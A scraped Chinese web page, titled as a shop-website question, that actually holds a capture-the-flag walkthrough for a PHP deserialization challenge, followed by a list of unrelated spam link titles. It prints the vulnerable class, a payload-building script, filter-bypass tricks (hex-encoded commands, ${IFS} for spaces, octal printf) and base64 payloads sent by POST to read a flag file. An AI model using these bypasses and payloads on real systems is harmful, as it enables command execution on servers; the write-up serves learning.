当前位置: 首页 > news >正文

做一个商城网站怎么办?

做一个商城网站,怎么办?,静态网站开发网站,wordpress appkey 插件进入题目页面如下 直接给出源码#xff0c;开始代码审计 ?php // 高亮显示当前 PHP 文件的源代码#xff0c;方便调试和查看代码结构 highlight_file(__FILE__);// 定义一个名为 ease 的类 class ease {// 定义私有属性 $method#xff0c;用于存储要调用的方法名priv…进入题目页面如下 直接给出源码开始代码审计 ?php // 高亮显示当前 PHP 文件的源代码方便调试和查看代码结构 highlight_file(__FILE__);// 定义一个名为 ease 的类 class ease {// 定义私有属性 $method用于存储要调用的方法名private $method;// 定义私有属性 $args用于存储调用方法时传递的参数private $args;// 构造函数在创建类的实例时自动调用function __construct($method, $args) {// 将传入的方法名赋值给 $this-method$this-method $method;// 将传入的参数赋值给 $this-args$this-args $args;}// 析构函数在对象被销毁时自动调用function __destruct() {// 检查 $this-method 是否在数组 [ping] 中if (in_array($this-method, array(ping))) {// 如果 $this-method 是 ping则使用 call_user_func_array 函数调用对象的 $this-method 方法并传递 $this-args 作为参数call_user_func_array(array($this, $this-method), $this-args);}}// 定义 ping 方法用于执行系统命令function ping($ip) {// 使用 exec 函数执行 $ip 对应的系统命令并将执行结果存储在 $result 数组中exec($ip, $result);// 使用 var_dump 函数输出 $result 数组的内容var_dump($result);}// 定义 waf 方法用于对输入字符串进行过滤function waf($str) {// 使用 preg_match_all 函数检查 $str 中是否包含特定的字符或关键词如 |、、;、空格、cat、flag、tac、php、ls 等if (!preg_match_all(/(\|||;| |\/|cat|flag|tac|php|ls)/, $str, $pat_array)) {// 如果不包含则返回原始字符串return $str;} else {// 如果包含则输出 dont hackecho dont hack;}}// 魔术方法 __wakeup在对象被反序列化时自动调用function __wakeup() {// 遍历 $this-args 数组中的每个元素foreach ($this-args as $k $v) {// 对每个元素调用 waf 方法进行过滤并将过滤后的结果重新赋值给 $this-args 数组$this-args[$k] $this-waf($v);}} }// 从 POST 请求中获取名为 ctf 的参数值并赋值给 $ctf 变量 $ctf $_POST[ctf]; // 对 $ctf 进行 base64 解码然后进行反序列化操作 unserialize(base64_decode($ctf)); 1. 反序列化漏洞风险 代码中接收用户通过 POST 请求传递的 ctf 参数对其进行 base64 解码后进行反序列化操作。如果攻击者能够构造恶意的序列化字符串就可以触发对象的魔术方法如 __destruct 和 __wakeup从而执行任意代码。 2. 命令执行漏洞 ping 方法使用 exec 函数执行用户传入的命令而 exec 函数执行的命令是由用户可控的 $ip 参数决定的。如果攻击者能够绕过 waf 方法的过滤就可以执行任意系统命令。 3. 过滤机制 waf 方法对输入字符串进行了正则表达式过滤禁止使用一些常见的危险字符和关键词 |、、;、空格、cat、flag、tac、php、ls 等 可以尝试使用其他方式绕过。 1. 绕过过滤机制 由于 waf 方法过滤了一些常见的命令和字符我们可以使用一些绕过技巧例如 使用命令的十六进制编码cat 可以用 \x63\x61\x74 表示。 使用反引号或 进行命令替换例如(echo -e \x63\x61\x74) 。 2. 构造恶意序列化字符串 ?php class ease {private $method;private $args;function __construct($method, $args) {$this-method $method;$this-args $args;} }// 构造要执行的命令 $cmd $(echo -e \x63\x61\x74) f\x6c\x61g.php; // 创建 ease 类的实例 $obj new ease(ping, array($cmd)); // 序列化对象 $serialized serialize($obj); // 进行 base64 编码 $encoded base64_encode($serialized); echo $encoded; ?可以用下面这个在线工具运行PHP代码 php在线运行,在线工具在线编译IDE_w3cschool 得到结果 Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo2OiJ3aG9hbWkiO319 利用POST传参 虽然执行了但是还需要绕过 空环境变量绕过 应用程序会对用户输入进行过滤阻止恶意命令的执行。部分系统在处理命令执行时会依赖环境变量通过利用空环境变量可以绕过某些过滤规则达到执行恶意命令的目的。 系统在执行命令时会查找环境变量中的命令路径。当过滤规则仅对输入的明文命令进行检查时使用空环境变量结合命令执行函数能够让过滤规则失效从而成功执行被过滤的命令。 利用空环境变量构造命令 在 Linux 系统中PATH 环境变量指定了系统查找可执行文件的路径。我们可以设置一个空的 PATH 环境变量然后通过相对路径或绝对路径来调用命令。 例如cat 命令的绝对路径通常是 /bin/cat 发送请求 将生成的 base64 编码字符串作为 ctf 参数通过 POST 请求发送给目标 利用 IFS 环境变量 IFSInternal Field Separator是 Linux 系统中的一个环境变量用于指定单词分割的字符。默认情况下IFS 包含空格、制表符和换行符。我们可以修改 IFS 变量使用其他字符作为分隔符从而绕过对空格的过滤。 例如构造命令时可以使用 $IFS 来代替空格 $cmd /bin/cat${IFS}f\x6c\x61g.php; 3. 发送 POST 请求 将上述代码生成的 base64 编码字符串作为 ctf 参数通过 POST 请求发送给目标 PHP 脚本 import requestsurl http://61.147.171.105:61601/ # 替换为实际生成的 base64 编码字符串 ctf 生成的 base64 编码字符串 data {ctf: ctf}response requests.post(url, datadata) print(response.text)通过以上步骤可以绕过过滤机制执行 cat flag.php 命令从而获取 flag 的值。 payload Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ 通过POST传参 看了大佬的wp才知道链接附上 攻防世界web新手练习 -unseping_攻防世界web新手题unseping-CSDN博客 查看flag_1s_here文件时需要运用控环境变量对cat进行绕过空格运用${ IFS}进行绕过 再次构造payload ctfTzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319 最终得到flag
http://www.tj-hxxt.cn/news/138952.html

相关文章:

  • 网站开发时遇不到算法七牛云招聘
  • wordpress整站模板外贸网站推广建设
  • 网站注册局德国网站的后缀名
  • 公司网站域名实名认证怎么做专业网站制作公司是如何处理一个优秀网站的
  • 商城网站设计图王野摩托车官方网站
  • 建设局网站seo优化网站优化
  • 小说网站怎么建设的WordPress积分打赏插件制作
  • 来一个网站谢谢了免费游戏不用登录大全
  • 西安好玩的地方有哪些郑州seo推广外包
  • 大连建站平台太原网站建设技术托管
  • 湖北襄阳网站建设网站建设的介绍
  • 太原谁家网站做的好dede做购物网站
  • 西安网站建设方案优化wordpress博客付费
  • 西部数码域名网站模板做网站购买什么
  • 河南省建设注册中心网站南昌seo网站开发
  • 延吉手机网站建设开发网站如何运营维护
  • 网站自动推广软件免费公司网站备案怎么做
  • 怎么往公司网站添加有园林案例的网站
  • 做网站月收入网站开发用什么字体
  • 常州发布信息的有什么网站网络营销作业策划方案
  • wordpress建站不好用wordpress怎么设置
  • 能打开的a站广东网站设计哪家好
  • 注册网站会员有风险吗app免费软件
  • 如何建立一个带论坛的网站安徽住房和城乡建设厅官网
  • 门户网站栏目维护建设方案衡阳seo外包
  • wordpress站长工作什么专业学网页设计制作
  • 谷歌怎么做公司网站如何解析后用二级域名做网站
  • 泌阳专业网站建设注册电子邮箱免费注册
  • 镇江做网站哪家公司好做企业网站需要什么文件
  • 网站建设 网络推广广州市设计院官网